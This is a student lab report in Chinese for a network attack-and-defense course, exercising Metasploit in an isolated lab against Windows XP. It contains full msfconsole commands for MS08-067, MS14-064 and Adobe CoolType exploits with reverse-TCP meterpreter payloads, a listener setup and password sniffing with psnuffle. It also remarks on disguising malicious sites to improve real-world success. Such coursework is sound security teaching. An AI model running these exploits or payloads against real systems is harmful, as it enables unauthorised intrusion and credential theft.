2017-2018-2 20155315《網絡對抗技術》Exp5 :MSF基礎應用
實驗目的
學會用metasploit進行簡單的攻擊操作
教程
實驗內容
metasploit中有六個模塊分別是
滲透攻擊模塊(Exploit Modules)
輔助模塊(Auxiliary Modules
攻擊載荷(Payload Modules)
空字段模塊(Nop Modules)
編碼模塊(Encoders)
後滲透攻擊模塊(Post)
- 本次實驗使用的是
exploit
和auxiliary
- exploit:滲透攻擊模塊,指利用某種漏洞對目標主機進行攻擊。滲透就是說攻擊者通過目標主機上的一個漏洞將自己的惡意代碼註入目標主機的系統,就像白蟻一樣,從一個洞慢慢攻破整棟建築。
- auxiliary
exploit
之間的關系就好像觀察者和狙擊手的關系,前者負責觀察網絡環境,得到準確的信息;後者就根據收集到的信息進行攻擊。
實驗步驟
(一)一個主動攻擊實踐,如ms08_067
MS08_67漏洞攻擊主要主要原理是攻擊者利用受害者主機默認開放的SMB服務端口445,發送惡意資料到這個端口,通過MSRPC接口調用server服務的一個函數,並破壞程序的棧緩存區,獲得遠程代碼執行權限,從而完全控制主機。
實驗環境
計算機 系統 IP地址 主機 kali 192.168.19.130 靶機 Windows XP SP3 English(AlwaysOn NX) 192.168.19.132 打開msfconsole設置載荷、參數,運行
use exploit/windows/smb/ms08_067_netapi set payload generic/shell_reverse_tcp set RHOST 192.168.19.132 //靶機的IP地址 set LHOST 192.168.19.130 //本機的IP地址 set LPORT 5315 exploit
- 一開始使用的是
target 10
,查看教程之後決定設置set target 0
- 結果
- 讓我們看看惡意資料偽裝成什麽程序。
- 重新設置載荷為
set payload windows/meterpreter/reverse_tcp
,exploit後使用getpid
得到我們偽裝的進程的進程號 - 使用
ps -ef | grep 1064
查看進程 通過上次實驗的分析知道Svchost.exe 是從動態鏈接庫 (DLL) 中運行的服務的通用主機進程名稱,這個程序對系統的正常運行是非常重要,而且是不能被結束的。也就是說我們的攻擊被隱藏在系統程序下,想想還是很可怕的。
(二)一個針對瀏覽器的攻擊,如ms14_064
- 實驗環境
- Internet Exploer 8
計算機 系統 IP地址 主機 kali 192.168.19.130 靶機 Windows XP SP3 192.168.19.131 - 一開始使用教程中提到的
ms11_050
進行攻擊的時候總是被數據執行保護程序殺死進程,努力將IE瀏覽器的的安全級別降到最低也無濟於事,連續試了03_020
、ms12_037
、ms13_009
也不成功 重新查找關於IE的exploit,從時間和等級上進行篩選,最後選擇
windows/browser/ms14_064_ole_code_execution
Microsoft Windows OLE遠程代碼執行漏洞,OLE(對象鏈接與嵌入)是一種允許應用程序共享數據和功能的技術,遠程攻擊者利用此漏洞通過構造的網站執行任意代碼,影響Win95+IE3 – Win10+IE11全版本
- 看起來這個漏洞對於win xp應該是一擊即中的。
use windows/browser/ms14_064_ole_code_execution
看看需要設置的參數設置載荷、參數,運行
set payload windows/meterpreter/reverse_tcp set LHOST 192.168.19.130 set LPORT 2015 set URIPATH zyl_
- 結果
- 靶機打開IE瀏覽器輸入生成的網址,kali的8080端口監聽獲得連接,建立會話
打開會話
(三)一個針對客戶端的攻擊,如Adobe
- 實驗環境
- Adobe Reader 9.3
計算機 系統 IP地址 主機 kali 192.168.19.130 靶機 Windows XP SP3 192.168.19.131 本次實驗采用的漏洞是
exploit/windows/browser/adobe_cooltype_sing
這個漏洞針對Adobe閱讀器9.3.4之前的版本,一個名為SING表對象中一個名為uniqueName的參數造成緩沖區溢出
設置載荷、參數,運行
set payload windows/meterpreter/reverse_tcp set LHOST 192.168.19.130 set LPORT 5315 set FILENAME 20155315 exploit
- 結果
打開監聽模塊
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.19.130 set LPORT 1111
將生成的惡意文件復制到靶機,運行之後kali顯示回連成功
(四)應用輔助模塊的攻擊
實驗環境
計算機 系統 IP地址 主機 kali 192.168.19.130 靶機 Windows XP SP3 192.168.19.131 - 進入
/usr/share/metasploit-framework/modules/auxiliary
目錄查看有什麽項目 - 這裏面我們看到一個感興趣的
sniffer
,也就是網絡嗅探器。 進入目錄發現只有一個
psnuffle.rb
psnuffle是metasploit中的口令嗅探工具,只有在接入對方網絡的初始訪問點後才能進行嗅探。
- 在
msfconsole
中use auxiliary/sniffer/psnuffle
,查看詳細信息 - 可以看到它嗅探的是任意協議,捕獲的長度是65535,時間限制是500s
run
在靶機打開百度,kali捕捉到了這次會話
實驗中遇到的問題
- 在做第一個實驗的時候出現
懷疑是靶機的445端口沒有打開,根據網上的教程設置之後打開cmd查看445端口重新進行exploit,連接成功 - 做第二個實驗的時候,靶機打開網頁總是受到執行數據保護機制的阻撓。
- 就實驗過程來看,對於比較舊的漏洞,IE瀏覽器或者說數據執行保護都能識別,但是更新的漏洞如果沒有下載補丁,靶機的端口就相當於窗戶拉開的一條縫,只要惡意網站被打開,攻擊者就可以毫不費力地入侵靶機了。
實驗問題回答
- 用自己的話解釋什麽是exploit,payload,encode.
- exploit就是通過一個小小的漏洞將自己的惡意代碼植入目標主機從而達到攻擊的目的,指的是一種攻擊的手段
- payload就相當於是一段惡意代碼,或者說是一個裝有惡意代碼的容器,通過載荷就可以控制目標主機
- encode是編碼器,就是通過編碼將惡意代碼進行封裝或偽裝,使其不被目標主機檢測為惡意軟件
離實戰還缺些什麽技術或步驟
- 要真正開始實戰的前提是要有足夠準確的信息,也就是前期的信息搜集要更全面、更徹底
- 就本次實驗而言,大多都是靶機進行操作來觸發惡意代碼使攻擊方入侵成功的。在實際生活中,對可疑文件、可疑網址等都不會主動點擊,因此,如果要進行實戰最好是將惡意網站進行再次編輯或者修改域名之類的來提高成功的可能性。
實驗總結
本次實驗做下來還是比較順利的,攻擊成功的時候感覺自己酷酷的,但是離實戰還有一定距離。另外,每做一個實驗就又深深地覺得網絡真是太不安全了,厲害的人這麽多,還是要好好保護電腦!
參考資料
- 怎麽開啟445端口
- MS14-064 漏洞測試入侵
- psnuffle口令嗅探
2017-2018-2 20155315《網絡對抗技術》Exp5 :MSF基礎應用